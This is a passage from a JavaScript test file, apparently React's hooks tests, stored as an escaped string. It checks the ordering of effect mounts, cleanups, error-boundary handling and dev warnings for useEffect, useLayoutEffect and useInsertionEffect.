[1]']);\n    });\n\n    it('unmounts all previous effects before creating any new ones', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Mount A [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount A [${props.count}]`);\n          };\n        });\n        useEffect(() => {\n          Scheduler.log(`Mount B [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount B [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n      });\n\n      assertLog(['Mount A [0]', 'Mount B [0]']);\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={1} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n      });\n      assertLog([\n        'Unmount A [0]',\n        'Unmount B [0]',\n        'Mount A [1]',\n        'Mount B [1]',\n      ]);\n    });\n\n    it('unmounts all previous effects between siblings before creating any new ones', async () => {\n      function Counter({count, label}) {\n        useEffect(() => {\n          Scheduler.log(`Mount ${label} [${count}]`);\n          return () => {\n            Scheduler.log(`Unmount ${label} [${count}]`);\n          };\n        });\n        return <Text text={`${label} ${count}`} />;\n      }\n      await act(async () => {\n        ReactNoop.render(\n          <>\n            <Counter label=\"A\" count={0} />\n            <Counter label=\"B\" count={0} />\n          </>,\n          () => Scheduler.log('Sync effect'),\n        );\n        await waitFor(['A 0', 'B 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A 0\" />\n            <span prop=\"B 0\" />\n          </>,\n        );\n      });\n\n      assertLog(['Mount A [0]', 'Mount B [0]']);\n\n      await act(async () => {\n        ReactNoop.render(\n          <>\n            <Counter label=\"A\" count={1} />\n            <Counter label=\"B\" count={1} />\n          </>,\n          () => Scheduler.log('Sync effect'),\n        );\n        await waitFor(['A 1', 'B 1', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"A 1\" />\n            <span prop=\"B 1\" />\n          </>,\n        );\n      });\n      assertLog([\n        'Unmount A [0]',\n        'Unmount B [0]',\n        'Mount A [1]',\n        'Mount B [1]',\n      ]);\n\n      await act(async () => {\n        ReactNoop.render(\n          <>\n            <Counter label=\"B\" count={2} />\n            <Counter label=\"C\" count={0} />\n          </>,\n          () => Scheduler.log('Sync effect'),\n        );\n        await waitFor(['B 2', 'C 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(\n          <>\n            <span prop=\"B 2\" />\n            <span prop=\"C 0\" />\n          </>,\n        );\n      });\n      assertLog([\n        'Unmount A [1]',\n        'Unmount B [1]',\n        'Mount B [2]',\n        'Mount C [0]',\n      ]);\n    });\n\n    it('handles errors in create on mount', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Mount A [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount A [${props.count}]`);\n          };\n        });\n        useEffect(() => {\n          Scheduler.log('Oops!');\n          throw new Error('Oops!');\n          // eslint-disable-next-line no-unreachable\n          Scheduler.log(`Mount B [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount B [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await expect(async () => {\n        await act(async () => {\n          ReactNoop.render(<Counter count={0} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n          await waitFor(['Count: 0', 'Sync effect']);\n          expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        });\n      }).rejects.toThrow('Oops');\n\n      assertLog([\n        'Mount A [0]',\n        'Oops!',\n        // Clean up effect A. There's no effect B to clean-up, because it\n        // never mounted.\n        'Unmount A [0]',\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    it('handles errors in create on update', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Mount A [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount A [${props.count}]`);\n          };\n        });\n        useEffect(() => {\n          if (props.count === 1) {\n            Scheduler.log('Oops!');\n            throw new Error('Oops error!');\n          }\n          Scheduler.log(`Mount B [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount B [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['Mount A [0]', 'Mount B [0]']);\n      });\n\n      await expect(async () => {\n        await act(async () => {\n          // This update will trigger an error\n          ReactNoop.render(<Counter count={1} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n          await waitFor(['Count: 1', 'Sync effect']);\n          expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n          ReactNoop.flushPassiveEffects();\n          assertLog([\n            'Unmount A [0]',\n            'Unmount B [0]',\n            'Mount A [1]',\n            'Oops!',\n            // Clean up effect A runs passively on unmount.\n            // There's no effect B to clean-up, because it never mounted.\n            'Unmount A [1]',\n          ]);\n          expect(ReactNoop).toMatchRenderedOutput(null);\n        });\n      }).rejects.toThrow('Oops error!');\n    });\n\n    it('handles errors in destroy on update', async () => {\n      function Counter(props) {\n        useEffect(() => {\n          Scheduler.log(`Mount A [${props.count}]`);\n          return () => {\n            Scheduler.log('Oops!');\n            if (props.count === 0) {\n              throw new Error('Oops error!');\n            }\n          };\n        });\n        useEffect(() => {\n          Scheduler.log(`Mount B [${props.count}]`);\n          return () => {\n            Scheduler.log(`Unmount B [${props.count}]`);\n          };\n        });\n        return <Text text={'Count: ' + props.count} />;\n      }\n\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />, () =>\n          Scheduler.log('Sync effect'),\n        );\n        await waitFor(['Count: 0', 'Sync effect']);\n        expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n        ReactNoop.flushPassiveEffects();\n        assertLog(['Mount A [0]', 'Mount B [0]']);\n      });\n\n      await expect(async () => {\n        await act(async () => {\n          // This update will trigger an error during passive effect unmount\n          ReactNoop.render(<Counter count={1} />, () =>\n            Scheduler.log('Sync effect'),\n          );\n          await waitFor(['Count: 1', 'Sync effect']);\n          expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n          ReactNoop.flushPassiveEffects();\n\n          // This branch enables a feature flag that flushes all passive destroys in a\n          // separate pass before flushing any passive creates.\n          // A result of this two-pass flush is that an error thrown from unmount does\n          // not block the subsequent create functions from being run.\n          assertLog([\n            'Oops!',\n            'Unmount B [0]',\n            'Mount A [1]',\n            'Mount B [1]',\n            // <Counter> gets unmounted because an error is thrown above.\n            // The remaining destroy functions are run later on unmount, since they're passive.\n            // In this case, one of them throws again (because of how the test is written).\n            'Oops!',\n            'Unmount B [1]',\n          ]);\n        });\n      }).rejects.toThrow('Oops error!');\n\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    it('works with memo', async () => {\n      function Counter({count}) {\n        useLayoutEffect(() => {\n          Scheduler.log('Mount: ' + count);\n          return () => Scheduler.log('Unmount: ' + count);\n        });\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = memo(Counter);\n\n      ReactNoop.render(<Counter count={0} />, () =>\n        Scheduler.log('Sync effect'),\n      );\n      await waitFor(['Count: 0', 'Mount: 0', 'Sync effect']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      ReactNoop.render(<Counter count={1} />, () =>\n        Scheduler.log('Sync effect'),\n      );\n      await waitFor(['Count: 1', 'Unmount: 0', 'Mount: 1', 'Sync effect']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n\n      ReactNoop.render(null);\n      await waitFor(['Unmount: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(null);\n    });\n\n    describe('errors thrown in passive destroy function within unmounted trees', () => {\n      let BrokenUseEffectCleanup;\n      let ErrorBoundary;\n      let LogOnlyErrorBoundary;\n\n      beforeEach(() => {\n        BrokenUseEffectCleanup = function () {\n          useEffect(() => {\n            Scheduler.log('BrokenUseEffectCleanup useEffect');\n            return () => {\n              Scheduler.log('BrokenUseEffectCleanup useEffect destroy');\n              throw new Error('Expected error');\n            };\n          }, []);\n\n          return 'inner child';\n        };\n\n        ErrorBoundary = class extends React.Component {\n          state = {error: null};\n          static getDerivedStateFromError(error) {\n            Scheduler.log(`ErrorBoundary static getDerivedStateFromError`);\n            return {error};\n          }\n          componentDidCatch(error, info) {\n            Scheduler.log(`ErrorBoundary componentDidCatch`);\n          }\n          render() {\n            if (this.state.error) {\n              Scheduler.log('ErrorBoundary render error');\n              return <span prop=\"ErrorBoundary fallback\" />;\n            }\n            Scheduler.log('ErrorBoundary render success');\n            return this.props.children || null;\n          }\n        };\n\n        LogOnlyErrorBoundary = class extends React.Component {\n          componentDidCatch(error, info) {\n            Scheduler.log(`LogOnlyErrorBoundary componentDidCatch`);\n          }\n          render() {\n            Scheduler.log(`LogOnlyErrorBoundary render`);\n            return this.props.children || null;\n          }\n        };\n      });\n\n      it('should use the nearest still-mounted boundary if there are no unmounted boundaries', async () => {\n        await act(() => {\n          ReactNoop.render(\n            <LogOnlyErrorBoundary>\n              <BrokenUseEffectCleanup />\n            </LogOnlyErrorBoundary>,\n          );\n        });\n\n        assertLog([\n          'LogOnlyErrorBoundary render',\n          'BrokenUseEffectCleanup useEffect',\n        ]);\n\n        await act(() => {\n          ReactNoop.render(<LogOnlyErrorBoundary />);\n        });\n\n        assertLog([\n          'LogOnlyErrorBoundary render',\n          'BrokenUseEffectCleanup useEffect destroy',\n          'LogOnlyErrorBoundary componentDidCatch',\n        ]);\n      });\n\n      it('should skip unmounted boundaries and use the nearest still-mounted boundary', async () => {\n        function Conditional({showChildren}) {\n          if (showChildren) {\n            return (\n              <ErrorBoundary>\n                <BrokenUseEffectCleanup />\n              </ErrorBoundary>\n            );\n          } else {\n            return null;\n          }\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <LogOnlyErrorBoundary>\n              <Conditional showChildren={true} />\n            </LogOnlyErrorBoundary>,\n          );\n        });\n\n        assertLog([\n          'LogOnlyErrorBoundary render',\n          'ErrorBoundary render success',\n          'BrokenUseEffectCleanup useEffect',\n        ]);\n\n        await act(() => {\n          ReactNoop.render(\n            <LogOnlyErrorBoundary>\n              <Conditional showChildren={false} />\n            </LogOnlyErrorBoundary>,\n          );\n        });\n\n        assertLog([\n          'LogOnlyErrorBoundary render',\n          'BrokenUseEffectCleanup useEffect destroy',\n          'LogOnlyErrorBoundary componentDidCatch',\n        ]);\n      });\n\n      it('should call getDerivedStateFromError in the nearest still-mounted boundary', async () => {\n        function Conditional({showChildren}) {\n          if (showChildren) {\n            return <BrokenUseEffectCleanup />;\n          } else {\n            return null;\n          }\n        }\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary>\n              <Conditional showChildren={true} />\n            </ErrorBoundary>,\n          );\n        });\n\n        assertLog([\n          'ErrorBoundary render success',\n          'BrokenUseEffectCleanup useEffect',\n        ]);\n\n        await act(() => {\n          ReactNoop.render(\n            <ErrorBoundary>\n              <Conditional showChildren={false} />\n            </ErrorBoundary>,\n          );\n        });\n\n        assertLog([\n          'ErrorBoundary render success',\n          'BrokenUseEffectCleanup useEffect destroy',\n          'ErrorBoundary static getDerivedStateFromError',\n          'ErrorBoundary render error',\n          'ErrorBoundary componentDidCatch',\n        ]);\n\n        expect(ReactNoop).toMatchRenderedOutput(\n          <span prop=\"ErrorBoundary fallback\" />,\n        );\n      });\n\n      it('should rethrow error if there are no still-mounted boundaries', async () => {\n        function Conditional({showChildren}) {\n          if (showChildren) {\n            return (\n              <ErrorBoundary>\n                <BrokenUseEffectCleanup />\n              </ErrorBoundary>\n            );\n          } else {\n            return null;\n          }\n        }\n\n        await act(() => {\n          ReactNoop.render(<Conditional showChildren={true} />);\n        });\n\n        assertLog([\n          'ErrorBoundary render success',\n          'BrokenUseEffectCleanup useEffect',\n        ]);\n\n        await act(async () => {\n          ReactNoop.render(<Conditional showChildren={false} />);\n          await waitForThrow('Expected error');\n        });\n\n        assertLog(['BrokenUseEffectCleanup useEffect destroy']);\n\n        expect(ReactNoop).toMatchRenderedOutput(null);\n      });\n    });\n\n    it('calls passive effect destroy functions for memoized components', async () => {\n      const Wrapper = ({children}) => children;\n      function Child() {\n        React.useEffect(() => {\n          Scheduler.log('passive create');\n          return () => {\n            Scheduler.log('passive destroy');\n          };\n        }, []);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout create');\n          return () => {\n            Scheduler.log('layout destroy');\n          };\n        }, []);\n        Scheduler.log('render');\n        return null;\n      }\n\n      const isEqual = (prevProps, nextProps) =>\n        prevProps.prop === nextProps.prop;\n      const MemoizedChild = React.memo(Child, isEqual);\n\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={1} />\n          </Wrapper>,\n        );\n      });\n      assertLog(['render', 'layout create', 'passive create']);\n\n      // Include at least one no-op (memoized) update to trigger original bug.\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={1} />\n          </Wrapper>,\n        );\n      });\n      assertLog([]);\n\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={2} />\n          </Wrapper>,\n        );\n      });\n      assertLog([\n        'render',\n        'layout destroy',\n        'layout create',\n        'passive destroy',\n        'passive create',\n      ]);\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog(['layout destroy', 'passive destroy']);\n    });\n\n    it('calls passive effect destroy functions for descendants of memoized components', async () => {\n      const Wrapper = ({children}) => children;\n      function Child() {\n        return <Grandchild />;\n      }\n\n      function Grandchild() {\n        React.useEffect(() => {\n          Scheduler.log('passive create');\n          return () => {\n            Scheduler.log('passive destroy');\n          };\n        }, []);\n        React.useLayoutEffect(() => {\n          Scheduler.log('layout create');\n          return () => {\n            Scheduler.log('layout destroy');\n          };\n        }, []);\n        Scheduler.log('render');\n        return null;\n      }\n\n      const isEqual = (prevProps, nextProps) =>\n        prevProps.prop === nextProps.prop;\n      const MemoizedChild = React.memo(Child, isEqual);\n\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={1} />\n          </Wrapper>,\n        );\n      });\n      assertLog(['render', 'layout create', 'passive create']);\n\n      // Include at least one no-op (memoized) update to trigger original bug.\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={1} />\n          </Wrapper>,\n        );\n      });\n      assertLog([]);\n\n      await act(() => {\n        ReactNoop.render(\n          <Wrapper>\n            <MemoizedChild key={2} />\n          </Wrapper>,\n        );\n      });\n      assertLog([\n        'render',\n        'layout destroy',\n        'layout create',\n        'passive destroy',\n        'passive create',\n      ]);\n\n      await act(() => {\n        ReactNoop.render(null);\n      });\n      assertLog(['layout destroy', 'passive destroy']);\n    });\n\n    it('assumes passive effect destroy function is either a function or undefined', async () => {\n      function App(props) {\n        useEffect(() => {\n          return props.return;\n        });\n        return null;\n      }\n\n      const root1 = ReactNoop.createRoot();\n      await act(() => {\n        root1.render(<App return={17} />);\n      });\n      assertConsoleErrorDev([\n        'useEffect must not return anything besides a function, ' +\n          'which is used for clean-up. You returned: 17\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root2 = ReactNoop.createRoot();\n      await act(() => {\n        root2.render(<App return={null} />);\n      });\n      assertConsoleErrorDev([\n        'useEffect must not return anything besides a function, ' +\n          'which is used for clean-up. You returned null. ' +\n          'If your effect does not require clean up, return undefined (or nothing).\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root3 = ReactNoop.createRoot();\n      await act(() => {\n        root3.render(<App return={Promise.resolve()} />);\n      });\n      assertConsoleErrorDev([\n        'useEffect must not return anything besides a function, which is used for clean-up.\\n' +\n          '\\n' +\n          'It looks like you wrote useEffect(async () => ...) or returned a Promise. ' +\n          'Instead, write the async function inside your effect and call it immediately:\\n' +\n          '\\n' +\n          'useEffect(() => {\\n' +\n          '  async function fetchData() {\\n' +\n          '    // You can await here\\n' +\n          '    const response = await MyAPI.getData(someId);\\n' +\n          '    // ...\\n' +\n          '  }\\n' +\n          '  fetchData();\\n' +\n          \"}, [someId]); // Or [] if effect doesn't need props or state\\n\" +\n          '\\n' +\n          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\\n' +\n          '    in App (at **)',\n      ]);\n\n      // Error on unmount because React assumes the value is a function\n      await act(async () => {\n        root3.render(null);\n        await waitForThrow('is not a function');\n      });\n    });\n  });\n\n  describe('useInsertionEffect', () => {\n    it('fires insertion effects after snapshots on update', async () => {\n      function CounterA(props) {\n        useInsertionEffect(() => {\n          Scheduler.log(`Create insertion`);\n          return () => {\n            Scheduler.log(`Destroy insertion`);\n          };\n        });\n        return null;\n      }\n\n      class CounterB extends React.Component {\n        getSnapshotBeforeUpdate(prevProps, prevState) {\n          Scheduler.log(`Get Snapshot`);\n          return null;\n        }\n\n        componentDidUpdate() {}\n\n        render() {\n          return null;\n        }\n      }\n\n      await act(async () => {\n        ReactNoop.render(\n          <>\n            <CounterA />\n            <CounterB />\n          </>,\n        );\n\n        await waitForAll(['Create insertion']);\n      });\n\n      // Update\n      await act(async () => {\n        ReactNoop.render(\n          <>\n            <CounterA />\n            <CounterB />\n          </>,\n        );\n\n        await waitForAll([\n          'Get Snapshot',\n          'Destroy insertion',\n          'Create insertion',\n        ]);\n      });\n\n      // Unmount everything\n      await act(async () => {\n        ReactNoop.render(null);\n\n        await waitForAll(['Destroy insertion']);\n      });\n    });\n\n    it('fires insertion effects before layout effects', async () => {\n      let committedText = '(empty)';\n\n      function Counter(props) {\n        useInsertionEffect(() => {\n          Scheduler.log(`Create insertion [current: ${committedText}]`);\n          committedText = String(props.count);\n          return () => {\n            Scheduler.log(`Destroy insertion [current: ${committedText}]`);\n          };\n        });\n        useLayoutEffect(() => {\n          Scheduler.log(`Create layout [current: ${committedText}]`);\n          return () => {\n            Scheduler.log(`Destroy layout [current: ${committedText}]`);\n          };\n        });\n        useEffect(() => {\n          Scheduler.log(`Create passive [current: ${committedText}]`);\n          return () => {\n            Scheduler.log(`Destroy passive [current: ${committedText}]`);\n          };\n        });\n        return null;\n      }\n      await act(async () => {\n        ReactNoop.render(<Counter count={0} />);\n\n        await waitForPaint([\n          'Create insertion [current: (empty)]',\n          'Create layout [current: 0]',\n        ]);\n        expect(committedText).toEqual('0');\n      });\n\n      assertLog(['Create passive [current: 0]']);\n\n      // Unmount everything\n      await act(async () => {\n        ReactNoop.render(null);\n\n        await waitForPaint([\n          'Destroy insertion [current: 0]',\n          'Destroy layout [current: 0]',\n        ]);\n      });\n\n      assertLog(['Destroy passive [current: 0]']);\n    });\n\n    it('force flushes passive effects before firing new insertion effects', async () => {\n      let committedText = '(empty)';\n\n      function Counter(props) {\n        useInsertionEffect(() => {\n          Scheduler.log(`Create insertion [current: ${committedText}]`);\n          committedText = String(props.count);\n          return () => {\n            Scheduler.log(`Destroy insertion [current: ${committedText}]`);\n          };\n        });\n        useLayoutEffect(() => {\n          Scheduler.log(`Create layout [current: ${committedText}]`);\n          committedText = String(props.count);\n          return () => {\n            Scheduler.log(`Destroy layout [current: ${committedText}]`);\n          };\n        });\n        useEffect(() => {\n          Scheduler.log(`Create passive [current: ${committedText}]`);\n          return () => {\n            Scheduler.log(`Destroy passive [current: ${committedText}]`);\n          };\n        });\n        return null;\n      }\n\n      await act(async () => {\n        React.startTransition(() => {\n          ReactNoop.render(<Counter count={0} />);\n        });\n        await waitForPaint([\n          'Create insertion [current: (empty)]',\n          'Create layout [current: 0]',\n        ]);\n        expect(committedText).toEqual('0');\n\n        React.startTransition(() => {\n          ReactNoop.render(<Counter count={1} />);\n        });\n        if (gate(flags => flags.enableYieldingBeforePassive)) {\n          await waitForPaint(['Create passive [current: 0]']);\n          await waitForPaint([\n            'Destroy insertion [current: 0]',\n            'Create insertion [current: 0]',\n            'Destroy layout [current: 1]',\n            'Create layout [current: 1]',\n          ]);\n        } else {\n          await waitForPaint([\n            'Create passive [current: 0]',\n            'Destroy insertion [current: 0]',\n            'Create insertion [current: 0]',\n            'Destroy layout [current: 1]',\n            'Create layout [current: 1]',\n          ]);\n        }\n        expect(committedText).toEqual('1');\n      });\n      assertLog([\n        'Destroy passive [current: 1]',\n        'Create passive [current: 1]',\n      ]);\n    });\n\n    it('fires all insertion effects (interleaved) before firing any layout effects', async () => {\n      let committedA = '(empty)';\n      let committedB = '(empty)';\n\n      function CounterA(props) {\n        useInsertionEffect(() => {\n          Scheduler.log(\n            `Create Insertion 1 for Component A [A: ${committedA}, B: ${committedB}]`,\n          );\n          committedA = String(props.count);\n          return () => {\n            Scheduler.log(\n              `Destroy Insertion 1 for Component A [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n        useInsertionEffect(() => {\n          Scheduler.log(\n            `Create Insertion 2 for Component A [A: ${committedA}, B: ${committedB}]`,\n          );\n          committedA = String(props.count);\n          return () => {\n            Scheduler.log(\n              `Destroy Insertion 2 for Component A [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n\n        useLayoutEffect(() => {\n          Scheduler.log(\n            `Create Layout 1 for Component A [A: ${committedA}, B: ${committedB}]`,\n          );\n          return () => {\n            Scheduler.log(\n              `Destroy Layout 1 for Component A [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n\n        useLayoutEffect(() => {\n          Scheduler.log(\n            `Create Layout 2 for Component A [A: ${committedA}, B: ${committedB}]`,\n          );\n          return () => {\n            Scheduler.log(\n              `Destroy Layout 2 for Component A [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n        return null;\n      }\n\n      function CounterB(props) {\n        useInsertionEffect(() => {\n          Scheduler.log(\n            `Create Insertion 1 for Component B [A: ${committedA}, B: ${committedB}]`,\n          );\n          committedB = String(props.count);\n          return () => {\n            Scheduler.log(\n              `Destroy Insertion 1 for Component B [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n        useInsertionEffect(() => {\n          Scheduler.log(\n            `Create Insertion 2 for Component B [A: ${committedA}, B: ${committedB}]`,\n          );\n          committedB = String(props.count);\n          return () => {\n            Scheduler.log(\n              `Destroy Insertion 2 for Component B [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n\n        useLayoutEffect(() => {\n          Scheduler.log(\n            `Create Layout 1 for Component B [A: ${committedA}, B: ${committedB}]`,\n          );\n          return () => {\n            Scheduler.log(\n              `Destroy Layout 1 for Component B [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n\n        useLayoutEffect(() => {\n          Scheduler.log(\n            `Create Layout 2 for Component B [A: ${committedA}, B: ${committedB}]`,\n          );\n          return () => {\n            Scheduler.log(\n              `Destroy Layout 2 for Component B [A: ${committedA}, B: ${committedB}]`,\n            );\n          };\n        });\n        return null;\n      }\n\n      await act(async () => {\n        ReactNoop.render(\n          <React.Fragment>\n            <CounterA count={0} />\n            <CounterB count={0} />\n          </React.Fragment>,\n        );\n        await waitForAll([\n          // All insertion effects fire before all layout effects\n          'Create Insertion 1 for Component A [A: (empty), B: (empty)]',\n          'Create Insertion 2 for Component A [A: 0, B: (empty)]',\n          'Create Insertion 1 for Component B [A: 0, B: (empty)]',\n          'Create Insertion 2 for Component B [A: 0, B: 0]',\n          'Create Layout 1 for Component A [A: 0, B: 0]',\n          'Create Layout 2 for Component A [A: 0, B: 0]',\n          'Create Layout 1 for Component B [A: 0, B: 0]',\n          'Create Layout 2 for Component B [A: 0, B: 0]',\n        ]);\n        expect([committedA, committedB]).toEqual(['0', '0']);\n      });\n\n      await act(async () => {\n        ReactNoop.render(\n          <React.Fragment>\n            <CounterA count={1} />\n            <CounterB count={1} />\n          </React.Fragment>,\n        );\n        await waitForAll([\n          'Destroy Insertion 1 for Component A [A: 0, B: 0]',\n          'Destroy Insertion 2 for Component A [A: 0, B: 0]',\n          'Create Insertion 1 for Component A [A: 0, B: 0]',\n          'Create Insertion 2 for Component A [A: 1, B: 0]',\n          'Destroy Layout 1 for Component A [A: 1, B: 0]',\n          'Destroy Layout 2 for Component A [A: 1, B: 0]',\n          'Destroy Insertion 1 for Component B [A: 1, B: 0]',\n          'Destroy Insertion 2 for Component B [A: 1, B: 0]',\n          'Create Insertion 1 for Component B [A: 1, B: 0]',\n          'Create Insertion 2 for Component B [A: 1, B: 1]',\n          'Destroy Layout 1 for Component B [A: 1, B: 1]',\n          'Destroy Layout 2 for Component B [A: 1, B: 1]',\n          'Create Layout 1 for Component A [A: 1, B: 1]',\n          'Create Layout 2 for Component A [A: 1, B: 1]',\n          'Create Layout 1 for Component B [A: 1, B: 1]',\n          'Create Layout 2 for Component B [A: 1, B: 1]',\n        ]);\n        expect([committedA, committedB]).toEqual(['1', '1']);\n\n        // Unmount everything\n        await act(async () => {\n          ReactNoop.render(null);\n\n          await waitForAll([\n            'Destroy Insertion 1 for Component A [A: 1, B: 1]',\n            'Destroy Insertion 2 for Component A [A: 1, B: 1]',\n            'Destroy Layout 1 for Component A [A: 1, B: 1]',\n            'Destroy Layout 2 for Component A [A: 1, B: 1]',\n            'Destroy Insertion 1 for Component B [A: 1, B: 1]',\n            'Destroy Insertion 2 for Component B [A: 1, B: 1]',\n            'Destroy Layout 1 for Component B [A: 1, B: 1]',\n            'Destroy Layout 2 for Component B [A: 1, B: 1]',\n          ]);\n        });\n      });\n    });\n\n    it('assumes insertion effect destroy function is either a function or undefined', async () => {\n      function App(props) {\n        useInsertionEffect(() => {\n          return props.return;\n        });\n        return null;\n      }\n\n      const root1 = ReactNoop.createRoot();\n      await act(() => {\n        root1.render(<App return={17} />);\n      });\n      assertConsoleErrorDev([\n        'useInsertionEffect must not return anything besides a function, ' +\n          'which is used for clean-up. You returned: 17\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root2 = ReactNoop.createRoot();\n      await act(() => {\n        root2.render(<App return={null} />);\n      });\n      assertConsoleErrorDev([\n        'useInsertionEffect must not return anything besides a function, ' +\n          'which is used for clean-up. You returned null. ' +\n          'If your effect does not require clean up, return undefined (or nothing).\\n' +\n          '    in App (at **)',\n      ]);\n\n      const root3 = ReactNoop.createRoot();\n      await act(() => {\n        root3.render(<App return={Promise.resolve()} />);\n      });\n      assertConsoleErrorDev([\n        'useInsertionEffect must not return anything besides a ' +\n          'function, which is used for clean-up.\\n' +\n          '\\n' +\n          'It looks like you wrote useInsertionEffect(async () => ...) or returned a Promise. ' +\n          'Instead, write the async function inside your effect and call it immediately:\\n' +\n          '\\n' +\n          'useInsertionEffect(() => {\\n' +\n          '  async function fetchData() {\\n' +\n          '    // You can await here\\n' +\n          '    const response = await MyAPI.getData(someId);\\n' +\n          '    // ...\\n' +\n          '  }\\n' +\n          '  fetchData();\\n' +\n          \"}, [someId]); // Or [] if effect doesn't need props or state\\n\" +\n          '\\n' +\n          'Learn more about data fetching with Hooks: https://react.dev/link/hooks-data-fetching\\n' +\n          '    in App (at **)',\n      ]);\n\n      // Error on unmount because React assumes the value is a function\n      await act(async () => {\n        root3.render(null);\n        await waitForThrow('is not a function');\n      });\n    });\n\n    it('warns when setState is called from insertion effect setup', async () => {\n      function App(props) {\n        const [, setX] = useState(0);\n        useInsertionEffect(() => {\n          setX(1);\n          if (props.throw) {\n            throw Error('No');\n          }\n        }, [props.throw]);\n        return null;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App />);\n      });\n      assertConsoleErrorDev([\n        'useInsertionEffect must not schedule updates.\\n' +\n          '    in App (at **)',\n      ]);\n\n      await act(async () => {\n        root.render(<App throw={true} />);\n        await waitForThrow('No');\n      });\n\n      // Should not warn for regular effects after throw.\n      function NotInsertion() {\n        const [, setX] = useState(0);\n        useEffect(() => {\n          setX(1);\n        }, []);\n        return null;\n      }\n      await act(() => {\n        root.render(<NotInsertion />);\n      });\n    });\n\n    it('warns when setState is called from insertion effect cleanup', async () => {\n      function App(props) {\n        const [, setX] = useState(0);\n        useInsertionEffect(() => {\n          if (props.throw) {\n            throw Error('No');\n          }\n          return () => {\n            setX(1);\n          };\n        }, [props.throw, props.foo]);\n        return null;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(<App foo=\"hello\" />);\n      });\n      await act(() => {\n        root.render(<App foo=\"goodbye\" />);\n      });\n      assertConsoleErrorDev([\n        'useInsertionEffect must not schedule updates.\\n' +\n          '    in App (at **)',\n      ]);\n\n      await act(async () => {\n        root.render(<App throw={true} />);\n        await waitForThrow('No');\n      });\n\n      // Should not warn for regular effects after throw.\n      function NotInsertion() {\n        const [, setX] = useState(0);\n        useEffect(() => {\n          setX(1);\n        }, []);\n        return null;\n      }\n      await act(() => {\n        root.render(<NotInsertion />);\n      });\n    });\n\n    it('warns when setState is called from offscreen deleted insertion effect cleanup', async () => {\n      function App(props) {\n        const [, setX] = useState(0);\n        useInsertionEffect(() => {\n          if (props.throw) {\n            throw Error('No');\n          }\n          return () => {\n            setX(1);\n          };\n        }, [props.throw, props.foo]);\n        return null;\n      }\n\n      const root = ReactNoop.createRoot();\n      await act(() => {\n        root.render(\n          <Activity mode=\"hidden\">\n            <App foo=\"hello\" />\n          </Activity>,\n        );\n      });\n\n      await act(() => {\n        root.render(<Activity mode=\"hidden\" />);\n      });\n      